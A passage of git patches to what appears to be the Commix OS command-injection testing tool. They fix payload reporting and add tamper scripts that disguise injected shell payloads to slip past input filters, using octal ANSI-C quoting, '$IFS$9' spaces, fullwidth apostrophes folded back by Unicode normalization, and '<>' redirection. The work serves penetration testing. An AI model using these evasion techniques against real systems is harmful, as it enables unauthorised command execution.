not is_established_closer: sys.stdout.write(END_LINE.LF) @@ -382,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "177" +REVISION = "178" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -697,6 +720,14 @@ class OS(object): # Said once for the run, where a retrieval is being made a byte at a time on a single thread. BOOLEAN_THREADS_SUGGESTED = False +# Said once for the run, the first time the tempfile-based technique reads its created file through +# a calibrated oracle instead of through a delay. +TEMPFILE_ORACLE_ANNOUNCED = False + +# Said once for the run, where no oracle could be calibrated and the created file is read through +# a delay instead - the other half of the notice above. +TEMPFILE_TIME_FALLBACK_ANNOUNCED = False + # The two answers as they arrived, kept beside their comparable forms so that what tells them apart # can be quoted back as an option the next run can be given. BOOLEAN_TRUE_CODE = None @@ -857,6 +888,11 @@ def single_whitespace_for(data=None): # Whether the last stdout line is still open (progress refresh / spinner dot). PROGRESS_LINE_OPEN = False +# Dots written to the current spinner line, and where that line stops growing further ones. +# However many requests a step actually costs, the line itself stays one a terminal never wraps. +PROGRESS_DOT_COUNT = 0 +MAX_PROGRESS_DOTS = 40 + DEFAULT_INJECTION_LEVEL = 1 COOKIE_INJECTION_LEVEL = 2 HTTP_HEADER_INJECTION_LEVEL = 3 @@ -2566,7 +2602,7 @@ class END_LINE: "SESSION_FILE", "SHOW_LOGS_MSG", "TAMPER_SCRIPTS", "SITEMAP_CHECK", "SKIPPED_OUT_OF_SCOPE", "SKIP_VULNERABLE_HOST", "RESULTS_FILE_FORMAT", "RESULTS_FILE_STARTED", "TEST_FILTER", "TEST_SKIP", "PREPROCESS_FUNCTIONS", "POSTPROCESS_FUNCTIONS", - "BOOLEAN_THREADS_SUGGESTED", "HPP_POSITION_SAID", "PKI_FAILURE_SAID", "REPLAY_NOTICES_SAID", "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "COMMAND_SUGGESTED", + "BOOLEAN_THREADS_SUGGESTED", "TEMPFILE_ORACLE_ANNOUNCED", "TEMPFILE_TIME_FALLBACK_ANNOUNCED", "HPP_POSITION_SAID", "PKI_FAILURE_SAID", "REPLAY_NOTICES_SAID", "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "COMMAND_SUGGESTED", "VALIDATION_RUN", "VISIBLE_CONNECTION_ERRORS", "WARNED_HTTP_ERROR_CODES", # Set by the connection to whichever target is in hand, before this reset can be reached. "HOSTNAME", "SCHEME", "TARGET_NETLOC", "TARGET_URL", From 7993fd793f56bb21b602f8ec90caf645919976f0 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 2 Oct 2026 06:14:31 +0300 Subject: [PATCH 0849/1023] Revised injection-point summaries now report total requests consistently; fixed empty parameter names in custom HTTP header findings and truncated Boolean-based payloads --- src/core/controller/handler.py | 6 +++--- src/core/requests/requests.py | 2 +- src/core/techniques/boolean_based/bb_injector.py | 14 +++++++------- .../techniques/tempfile_based/tfb_handler.py | 16 +++++++++------- src/utils/settings.py | 2 +- 5 files changed, 21 insertions(+), 19 deletions(-) diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index cff9637dab..1000e944ce 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -726,8 +726,8 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): if not payload: return None vuln_parameter = "" - page_true, code_true, vuln_parameter, prefix, suffix = injector.page_of(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) - page_false, code_false, vuln_parameter, prefix, suffix = injector.page_of(payloads.decision(separator, TAG, len(TAG), holds=False), prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + page_true, code_true, vuln_parameter, prefix, suffix, reported_payload = injector.page_of(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + page_false, code_false, vuln_parameter, prefix, suffix, _ = injector.page_of(payloads.decision(separator, TAG, len(TAG), holds=False), prefix, suffix, whitespace, http_request_method, url, vuln_parameter) if not checks.boolean_oracle_given(): # A false answer that reads exactly like the page the parameter's own value returns means the # payload changed nothing at all, whatever the two probes look like beside each other. @@ -756,7 +756,7 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): if again is not True: checks.unexploitable_point() return None - return payload, vuln_parameter, prefix, suffix + return reported_payload, vuln_parameter, prefix, suffix """ A stored finding says where the injection is, but not what this target's pages look like - and diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index f336873faa..3c326555bf 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1266,7 +1266,7 @@ def _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: if not vuln_parameter: - vuln_parameter = parameters.specify_custom_header_parameter("") + vuln_parameter = parameters.specify_custom_header_parameter(settings.CUSTOM_HEADER_NAME.lower()) exec_time = custom_header_injection(url, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif (menu.options.agent and settings.INJECT_TAG in menu.options.agent) or settings.USER_AGENT_INJECTION: diff --git a/src/core/techniques/boolean_based/bb_injector.py b/src/core/techniques/boolean_based/bb_injector.py index a6a96c7df3..ef9ef05328 100644 --- a/src/core/techniques/boolean_based/bb_injector.py +++ b/src/core/techniques/boolean_based/bb_injector.py @@ -45,21 +45,21 @@ def answer(payload, prefix, suffix, whitespace, http_request_method, url, vuln_p """ The page a question came back with, for learning what a yes and a no look like on this target. -The boundary comes back as it was actually sent, which is not always as it was passed in: the -parameter's own value is folded into the prefix on the way out, and a finding stored without it -replays as a payload that replaces the value instead of following it. +The payload comes back as it was actually sent, which is not always as it was passed in: the +parameter's own value is folded into it on the way out, and a finding reported without that fold +reads as a payload that replaces the value instead of following it. """ def page_of(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter): - response, vuln_parameter, _, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + response, vuln_parameter, sent_payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if response is False or response is None: - return None, None, vuln_parameter, prefix, suffix + return None, None, vuln_parameter, prefix, suffix, sent_payload try: # The payload's own text is taken back out of the answer: a page that echoes what it was given # differs between two questions because of the questions, not because of what ran. page = checks.remove_reflected_values(checks.decode_page_body(response.read(), response), payload) - return page, response.getcode(), vuln_parameter, prefix, suffix + return page, response.getcode(), vuln_parameter, prefix, suffix, sent_payload except Exception: - return None, None, vuln_parameter, prefix, suffix + return None, None, vuln_parameter, prefix, suffix, sent_payload """ Run a command and hand back what it printed, read a byte at a time off the page. diff --git a/src/core/techniques/tempfile_based/tfb_handler.py b/src/core/techniques/tempfile_based/tfb_handler.py index adc6af8653..49520244b9 100755 --- a/src/core/techniques/tempfile_based/tfb_handler.py +++ b/src/core/techniques/tempfile_based/tfb_handler.py @@ -90,8 +90,8 @@ def _calibrate_file_oracle(separator, prefix, suffix, whitespace, http_request_m continue # Unresolved on the way in - like the delay-based confirmation this replaces, the parameter is # whatever the first request lands on, discovered rather than given. - page_true, code_true, vuln_parameter, prefix, suffix = bb_injector.page_of(payload_true, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) - page_false, code_false, vuln_parameter, prefix, suffix = bb_injector.page_of(payload_false, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + page_true, code_true, vuln_parameter, prefix, suffix, reported_payload_true = bb_injector.page_of(payload_true, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + page_false, code_false, vuln_parameter, prefix, suffix, _ = bb_injector.page_of(payload_false, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) # A false answer that reads exactly like the unmodified page means the payload changed nothing # at all, whatever the two probes look like beside each other. if checks.comparable_page(page_false or "") == checks.comparable_page(settings.ORIGINAL_PAGE or ""): @@ -108,10 +108,10 @@ def _calibrate_file_oracle(separator, prefix, suffix, whitespace, http_request_m again, vuln_parameter = bb_injector.answer(payload_true, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) if again is not True: continue - return bb_handler.Channel(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter), vuln_parameter + return bb_handler.Channel(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter), vuln_parameter, reported_payload_true settings.BOOLEAN_PRINTED_STATE = False - return None, vuln_parameter + return None, vuln_parameter, None """ Whether this target and this separator are ones the oracle could apply to at all - the same @@ -147,7 +147,7 @@ def _channel_for(separator, prefix, suffix, whitespace, http_request_method, url cache_key = (url, vuln_parameter, separator) channel = _ORACLE_CHANNEL_CACHE.get(cache_key) if channel is None and cache_key not in _ORACLE_CHANNEL_CACHE: - channel, _ = _calibrate_file_oracle(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG) + channel, _, _ = _calibrate_file_oracle(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG) _ORACLE_CHANNEL_CACHE[cache_key] = channel _announce_channel(channel) return channel @@ -168,14 +168,16 @@ def try_oracle_confirm(separator, prefix, suffix, whitespace, http_request_metho previous = settings.TIME_RELATED_ATTACK settings.TIME_RELATED_ATTACK = False try: - channel, vuln_parameter = _calibrate_file_oracle(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG) + channel, vuln_parameter, reported_payload = _calibrate_file_oracle(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG) _announce_channel(channel) if not channel: return None, vuln_parameter # Seeded here so extraction, later, finds this same channel already calibrated instead of # calibrating a second time now that the parameter it landed on is known. _ORACLE_CHANNEL_CACHE[(url, vuln_parameter, separator)] = channel - return _oracle_payloads().oracle_decision(separator, TAG, len(TAG), OUTPUT_TEXTFILE, holds=True), vuln_parameter + # The value actually sent, folded in during calibration - a fresh, unfolded recomputation here + # would report a payload that replaces the parameter's value instead of following it. + return reported_payload, vuln_parameter finally: settings.TIME_RELATED_ATTACK = previous diff --git a/src/utils/settings.py b/src/utils/settings.py index d011a7b3e7..02aecf332d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "178" +REVISION = "179" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ed6ab3bb0aba7663457218ad00a1b3e03590b28e Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 2 Oct 2026 06:45:49 +0300 Subject: [PATCH 0850/1023] Trivial update --- src/utils/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 02aecf332d..6fcd9c83bc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -81,7 +81,7 @@ class HTTPMETHOD(object): PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " SUB_CONTENT_SIGN = "" #SUB_CONTENT_SIGN_TYPE = "" + Style.BRIGHT + "*" + Style.RESET_ALL + " " -SUB_CONTENT_SIGN_TYPE = " " +SUB_CONTENT_SIGN_TYPE = " * " TRAFFIC_SIGN = HTTP_CONTENT_SIGN = "" ABORTION_SIGN = ERROR_SIGN DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " From 3e6fdd5540806eba563627fe3f0e2a35e4465f47 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 3 Oct 2026 10:09:28 +0300 Subject: [PATCH 0851/1023] Added new tamper script `ansiquoteoctal.py` that rewrites command names and paths as ANSI-C quoted octal escapes, for filters that block every letter (including the 'x' `ansiquote`'s hex escapes need) --- doc/CHANGELOG.md | 1 + src/tamper/ansiquoteoctal.py | 71 ++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 13 ++++++- 3 files changed, 83 insertions(+), 2 deletions(-) create mode 100644 src/tamper/ansiquoteoctal.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index f048e65964..7481aacff6 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `ansiquoteoctal.py` that rewrites command names and paths as ANSI-C quoted octal escapes, for filters that block every letter (including the 'x' `ansiquote`'s hex escapes need). * Revised: The file-based technique's temporary-directory variant now reads the created file through a calibrated Boolean-based oracle where possible, falling back to delay-based reading. * Added: New option `--auth-file` for authenticating with a client certificate during the TLS handshake instead of using authentication headers. * Added: New switch `--hpp` for sending a tested parameter twice, placing the payload in the occurrence read by the target and a filter-accepted value in the one inspected. diff --git a/src/tamper/ansiquoteoctal.py b/src/tamper/ansiquoteoctal.py new file mode 100644 index 0000000000..a0c15f844f --- /dev/null +++ b/src/tamper/ansiquoteoctal.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Rewrites the command names and paths in a given payload as ANSI-C quoted octal ($'\143\141\164'). +Notes: This tamper script works against target(s) whose shell reads ANSI-C quoting (e.g. 'bash', + 'ksh', 'zsh'). Unlike 'ansiquote', the escape itself spells no letter - hex needs the 'x' of + '\x63', which a filter blocking every letter would catch as readily as the word it hides. +References: [1] https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-36 +""" + +__tamper__ = "ansiquoteoctal" +__priority__ = settings.PRIORITY.HIGH + +def dependencies(): + """ + Why this script cannot be applied to the target at hand, or nothing where it can. + + The escapes are the whole point of the script, and an evaluated string is read by the language + doing the evaluating before ever reaching a shell - which spends '\\143' itself, leaving the + shell a payload that says something else. + """ + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +# A word worth hiding: a command name or a path, which is what a signature is written against. +ANSI_QUOTE_WORD = r"(?<![\w$'\"\\{#=/.-])(/?[A-Za-z][\w.-]*(?:/[\w.-]+)*|/[\w.-]+(?:/[\w.-]+)*)(?![\w=.'\"-])" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def _ansi_quote(match): + """ + One word written as the octal the shell reads back as that word, or left as it was. + + A word the shell has to read exactly as it was written is left alone, for the reason + 'tamper_word_kept' gives. Nothing else here needs to survive being spelled differently, because + the shell spends the quoting before anything reads the word. + """ + word = match.group(0) + if checks.tamper_word_kept(word, match.string[:match.start()]): + return word + return "$'" + "".join("\\%03o" % ord(char) for char in word) + "'" + +# Every command name and path in one span of shell code, written as octal. +def _ansi_quote_words(text, nested): + return re.sub(ANSI_QUOTE_WORD, _ansi_quote, text) + +# Hand the words over as octal, for the target's shell to read back as the words they were. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' has no ANSI-C quoting. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return checks.tamper_shell_spans(payload, _ansi_quote_words) + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 6fcd9c83bc..e04b52ede2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "179" +REVISION = "180" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1737,6 +1737,7 @@ class AUTH_TYPE(object): "space2vtab": False, "space2brace": False, "ansiquote": False, + "ansiquoteoctal": False, "cmd2wildcard": False, "cmd2var": False, "doublequotes": False, @@ -1811,7 +1812,8 @@ class PRIORITY(object): # carrying one of these and finding nothing may have found nothing because the shell is a plain one. SHELL_FEATURE_TAMPERS = { "space2brace": "brace expansion", - "ansiquote": "ANSI-C quoting" + "ansiquote": "ANSI-C quoting", + "ansiquoteoctal": "ANSI-C quoting" } INCOMPATIBLE_TAMPER_SCRIPTS = [ @@ -1832,6 +1834,13 @@ class PRIORITY(object): ("ansiquote", "dollarstars"), ("ansiquote", "singlequotes"), ("ansiquote", "uninitializedvariable"), + # Two encodings of the same words, over the same characters. + ("ansiquote", "ansiquoteoctal"), + ("ansiquoteoctal", "backslashes"), + ("ansiquoteoctal", "dollaratsigns"), + ("ansiquoteoctal", "dollarstars"), + ("ansiquoteoctal", "singlequotes"), + ("ansiquoteoctal", "uninitializedvariable"), # "''" is literal inside the double-quoted "tr" ranges that "randomcase" builds. ("randomcase", "singlequotes"), # Both name the same function in the same call, so the second finds the name of From 7e5b71fb7aad4d51cb7f6c88598aea1f2a778633 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 3 Oct 2026 10:10:26 +0300 Subject: [PATCH 0852/1023] Added new tamper script `space2ifsraw.py` that replaces spaces with `$IFS$9` (no braces, no quotes), for filters that block both at once --- doc/CHANGELOG.md | 1 + src/tamper/space2ifsraw.py | 50 ++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 3 ++- 3 files changed, 53 insertions(+), 1 deletion(-) create mode 100644 src/tamper/space2ifsraw.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 7481aacff6..0ac85a3640 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `space2ifsraw.py` that replaces spaces with `$IFS$9` (no braces, no quotes), for filters that block both at once. * Added: New tamper script `ansiquoteoctal.py` that rewrites command names and paths as ANSI-C quoted octal escapes, for filters that block every letter (including the 'x' `ansiquote`'s hex escapes need). * Revised: The file-based technique's temporary-directory variant now reads the created file through a calibrated Boolean-based oracle where possible, falling back to delay-based reading. * Added: New option `--auth-file` for authenticating with a client certificate during the TLS handshake instead of using authentication headers. diff --git a/src/tamper/space2ifsraw.py b/src/tamper/space2ifsraw.py new file mode 100644 index 0000000000..9ffdc3c51b --- /dev/null +++ b/src/tamper/space2ifsraw.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces space character (%20) with '$IFS$9' (no braces, no quotes) in a given payload. +Notes: This tamper script works against target(s) with a POSIX shell, for a filter that also blocks + curly braces and quotes - where 'space2ifs' ('${IFS}') and 'space2brace' both need a + character this kind of filter takes away. '$9' is an empty positional parameter in an + ordinary run, so it contributes nothing beyond ending the '$IFS' expansion cleanly: without + it, '$IFS' run straight into a following letter, digit or underscore would be read as a + longer, different (and empty) variable name instead. Safe wherever it lands, since nothing + about what follows the space changes how it is used. +References: [1] https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners +""" + +__tamper__ = "space2ifsraw" +__priority__ = settings.PRIORITY.LOWER +space2ifsraw = "$IFS$9" + +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Separate the payload's words with '$IFS$9' instead of a space. +def tamper(payload): + if settings.TARGET_OS != settings.OS.WINDOWS and len(settings.WHITESPACES) != 0: + if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: + settings.WHITESPACES[0] = space2ifsraw + elif space2ifsraw not in settings.WHITESPACES: + settings.WHITESPACES.append(space2ifsraw) + return payload + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index e04b52ede2..f097f72e67 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "180" +REVISION = "181" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1738,6 +1738,7 @@ class AUTH_TYPE(object): "space2brace": False, "ansiquote": False, "ansiquoteoctal": False, + "space2ifsraw": False, "cmd2wildcard": False, "cmd2var": False, "doublequotes": False, From 3cfde11941abf792b2b3521a3715f94a652b386c Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 3 Oct 2026 12:28:23 +0300 Subject: [PATCH 0853/1023] Added new tamper script `unicodequote.py` that replaces single quotes with the fullwidth apostrophe (`U+FF07`), for filters that strip a literal quote before a later Unicode normalization step folds it back into one --- doc/CHANGELOG.md | 1 + src/tamper/unicodequote.py | 43 ++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 8 ++++++- 3 files changed, 51 insertions(+), 1 deletion(-) create mode 100644 src/tamper/unicodequote.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 0ac85a3640..efbe9100df 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `unicodequote.py` that replaces single quotes with the fullwidth apostrophe (`U+FF07`), for filters that strip a literal quote before a later Unicode normalization step folds it back into one. * Added: New tamper script `space2ifsraw.py` that replaces spaces with `$IFS$9` (no braces, no quotes), for filters that block both at once. * Added: New tamper script `ansiquoteoctal.py` that rewrites command names and paths as ANSI-C quoted octal escapes, for filters that block every letter (including the 'x' `ansiquote`'s hex escapes need). * Revised: The file-based technique's temporary-directory variant now reads the created file through a calibrated Boolean-based oracle where possible, falling back to delay-based reading. diff --git a/src/tamper/unicodequote.py b/src/tamper/unicodequote.py new file mode 100644 index 0000000000..9d64d14115 --- /dev/null +++ b/src/tamper/unicodequote.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces single quotes (') with the fullwidth apostrophe (U+FF07, ''') in a given payload. +Notes: This tamper script works against target(s) that strip or escape a literal quote before + folding the value through a compatibility normalization (e.g. Python's + 'unicodedata.normalize("NFKC", ...)'). The fullwidth character is not the quote such a + filter matches, so it passes through untouched, and the normalization applied afterwards + folds it back into a real "'" - closing a quote the filter believed it had already removed. +References: [1] https://www.yeswehack.com/dojo/dojo-challenge-solution-46 +""" + +__tamper__ = "unicodequote" +__priority__ = settings.PRIORITY.LOWER + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Fold every single quote into the fullwidth apostrophe a later normalization step reads as one. +def tamper(payload): + return payload.replace("'", "'") + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index f097f72e67..eb043d2be5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "181" +REVISION = "182" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1739,6 +1739,7 @@ class AUTH_TYPE(object): "ansiquote": False, "ansiquoteoctal": False, "space2ifsraw": False, + "unicodequote": False, "cmd2wildcard": False, "cmd2var": False, "doublequotes": False, @@ -1842,6 +1843,11 @@ class PRIORITY(object): ("ansiquoteoctal", "dollarstars"), ("ansiquoteoctal", "singlequotes"), ("ansiquoteoctal", "uninitializedvariable"), + # A literal "'" is the delimiter both scripts need - one is quoting with it, the + # other is folding it away into a character no delimiter is read from. + ("ansiquote", "unicodequote"), + ("ansiquoteoctal", "unicodequote"), + ("singlequotes", "unicodequote"), # "''" is literal inside the double-quoted "tr" ranges that "randomcase" builds. ("randomcase", "singlequotes"), # Both name the same function in the same call, so the second finds the name of From 558caedee5d2f75b285adba1af39ef8cc78cbcdd Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 3 Oct 2026 12:28:57 +0300 Subject: [PATCH 0854/1023] Added new tamper script `cmd2redir.py` that rewrites a user-supplied `command path` as `command<>path`, folding away the one space between them for a target that lets no whitespace through at all --- doc/CHANGELOG.md | 1 + src/tamper/cmd2redir.py | 64 +++++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 10 +++++-- 3 files changed, 72 insertions(+), 3 deletions(-) create mode 100644 src/tamper/cmd2redir.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index efbe9100df..91767a3f81 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `cmd2redir.py` that rewrites a user-supplied `command path` as `command<>path`, folding away the one space between them for a target that lets no whitespace through at all. * Added: New tamper script `unicodequote.py` that replaces single quotes with the fullwidth apostrophe (`U+FF07`), for filters that strip a literal quote before a later Unicode normalization step folds it back into one. * Added: New tamper script `space2ifsraw.py` that replaces spaces with `$IFS$9` (no braces, no quotes), for filters that block both at once. * Added: New tamper script `ansiquoteoctal.py` that rewrites command names and paths as ANSI-C quoted octal escapes, for filters that block every letter (including the 'x' `ansiquote`'s hex escapes need). diff --git a/src/tamper/cmd2redir.py b/src/tamper/cmd2redir.py new file mode 100644 index 0000000000..9b45469e19 --- /dev/null +++ b/src/tamper/cmd2redir.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Rewrites a user-supplied "<command> <path>" as "<command><>path>", for a target that lets no + whitespace at all through but leaves the redirection operators unfiltered. +Notes: This tamper script works against target(s) with a POSIX shell. '<>' opens the path for both + reading and writing and attaches it as the command's own stdin, so a command given no + positional argument at all reads it from there instead - removing the one space between the + two without needing any whitespace substitute in its place. Only a command that already reads + stdin when given no filename is any good for this, and the path must be writable by the + process running it, not just readable, since '<>' opens it for both. +References: [1] https://dojo-yeswehack.com/challenge-of-the-month/Dojo-30 +""" + +__tamper__ = "cmd2redir" +__priority__ = settings.PRIORITY.HIGHER + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + +# Commands that read stdin in place of a missing filename argument, across coreutils and BusyBox. +STDIN_FALLBACK_COMMANDS = ( + "cat", "tac", "rev", "sort", "uniq", "wc", "nl", + "md5sum", "sha1sum", "sha256sum", "sha512sum", "base64", "od", "cksum", "sum" +) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# The command's one separating space folded into the redirection operator its argument arrives on. +def rewrite_command(command): + parts = command.split(settings.SINGLE_WHITESPACE) + if len(parts) != 2 or parts[0] not in STDIN_FALLBACK_COMMANDS: + warn_msg = "The '" + __tamper__ + ".py' tamper script needs a single stdin-reading command " + warn_msg += "(e.g. 'cat') and its one argument in the '" + command + "' command. Skipping tamper script." + settings.print_once(warn_msg) + return command + return parts[0] + "<>" + parts[1] + +# Hand the command over with its space folded away, alongside whatever else rewrites it. +def tamper(payload): + # The exploitation phase reaches here before there is a command of the user's own to rewrite. + if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: + return checks.tamper_rewrite_user_command(payload, __tamper__) + return payload + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index eb043d2be5..2740f88491 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "182" +REVISION = "183" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1742,6 +1742,7 @@ class AUTH_TYPE(object): "unicodequote": False, "cmd2wildcard": False, "cmd2var": False, + "cmd2redir": False, "doublequotes": False, "singlequotes": False, "caret": False, @@ -1807,8 +1808,11 @@ class PRIORITY(object): WAF_EVASION_ESCALATED = False # Scripts that rewrite the user's command in place, in the order their rewrites are applied. The -# paths go first, so that what the name-splitting script is handed is a name and not a glob. -COMMAND_REWRITERS = ("cmd2wildcard", 